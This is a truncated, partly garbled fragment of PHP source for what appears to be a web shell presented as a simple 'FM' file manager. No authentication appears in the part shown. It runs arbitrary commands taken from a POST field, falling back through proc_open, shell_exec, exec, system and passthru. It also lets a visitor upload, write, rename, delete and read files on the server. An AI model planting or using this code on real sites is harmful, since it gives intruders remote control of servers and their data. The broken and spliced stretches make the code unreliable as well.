=1073741824)return nf($b/1073741824).' GB';if($b>=1048576)return nf($b/1048576).' MB';if($b>=1024)return nf($b/1024).' KB';return $b.' B';}
function getOwner($p){$u=@fileowner($p);if($u===false)return'—';if(function_exists('posix_getpwuid')){$i=posix_getpwuid($u);return $i?hsc($i['name']):$u;}return $u;}
function runCmd($cmd){
$out='';$err='';$mt='';
if(function_exists('proc_open')){$ds=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$p=proc_open($cmd,$ds,$pp);if(is_resource($p)){$out=stream_get_contents($pp[1]);$err=stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);$mt='proc_open';}}
elseif(function_exists('shell_exec')){$out=(string)shell_exec($cmd.' 2>&1');$mt='shell_exec';}
elseif(function_exists('exec')){exec($cmd.' 2>&1',$lines);$out=implode("\n",$lines);$mt='exec';}
elseif(function_exists('system')){ob_start();system($cmd.' 2>&1');$out=ob_get_clean();$mt='system';}
elseif(function_exists('passthru')){ob_start();passthru($cmd.' 2>&1');$out=ob_get_clean();$mt='passthru';}
return['out'=>$out,'err'=>$err,'mt'=>$mt];}
date_default_timezone_set(date_default_timezone_get());
$S=dirname(realpath(__FILE__));
foreach($_GET as $k=>$v)$_GET[$k]=y($v);
$D=safePath(isset($_GET['d']) && $_GET['d']!=='' ? $_GET['d'] : $S, $S);
if(!@chdir($D)){$D=$S;@chdir($D);}
$sm='';$vr='';
if($_SERVER['REQUEST_METHOD']==='POST'){
if(isset($_FILES['fileToUpload'])){
$t=$D.'/'.basename($_FILES['fileToUpload']['name']);
$sm=move_uploaded_file($_FILES['fileToUpload']['tmp_name'],$t)
?'✓ File "'.hsc(basename($_FILES['fileToUpload']['name'])).'" uploaded.
'
:'✗ Upload failed.
';
}elseif(!empty($_POST['folder_name'])){
$nf=$D.'/'.$_POST['folder_name'];
$sm=!file_exists($nf)&&mkdir($nf)?'✓ Folder created.
':'✗ Failed or exists.
';
}elseif(!empty($_POST['file_name'])){
$nf=$D.'/'.$_POST['file_name'];$vb=file_exists($nf)?'edited':'created';
$sm=file_put_contents($nf,$_POST['file_content'])!==false?'✓ File '.$vb.'.
':'✗ Save failed.
';
}elseif(isset($_POST['delete_file'])){
$t=$D.'/'.$_POST['delete_file'];
if(file_exists($t)){$ok=is_dir($t)?deleteDir($t):unlink($t);$sm=$ok?'✓ Deleted.
':'✗ Delete failed.
';}
else $sm='✗ Not found.
';
}elseif(isset($_POST['rename_item'],$_POST['old_name'],$_POST['new_name'])){
$o=$D.'/'.$_POST['old_name'];$n=$D.'/'.$_POST['new_name'];
$sm=file_exists($o)?(rename($o,$n)?'✓ Renamed.
':'✗ Rename failed.
'):'✗ Not found.
';
}elseif(isset($_POST['cmd_input'])){
$r=runCmd($_POST['cmd_input']);
if($r['mt']===''){$vr='✗ All exec functions disabled.
';}
else{$lbl=!empty($r['err'])?'Err':'Out';$cnt=hsc(!empty($r['err'])?$r['err']:$r['out']);
$vr='⚡ '.hsc($_POST['cmd_input']).' '.$r['mt'].''.$lbl.'
'.$cnt.'
📄 '.hsc($_POST['view_file']).'
'.hsc(file_get_contents($f)).'
✗ File not found.
';
}}
$dirs=array();$files=array();
if(!empty($D)&&is_dir($D)){$raw=@scandir($D);if($raw){foreach(array_diff($raw,array('.','..'))as $i){if(@is_dir($D.'/'.$i))$dirs[]=$i;else $files[]=$i;}}}
natcasesort($dirs);natcasesort($files);
$items=array_merge(array_values($dirs),array_values($files));
?>
FM — <?=hsc(basename($D))?>
| Name | Owner | Size | Modified | Perms | Actions |
|---|
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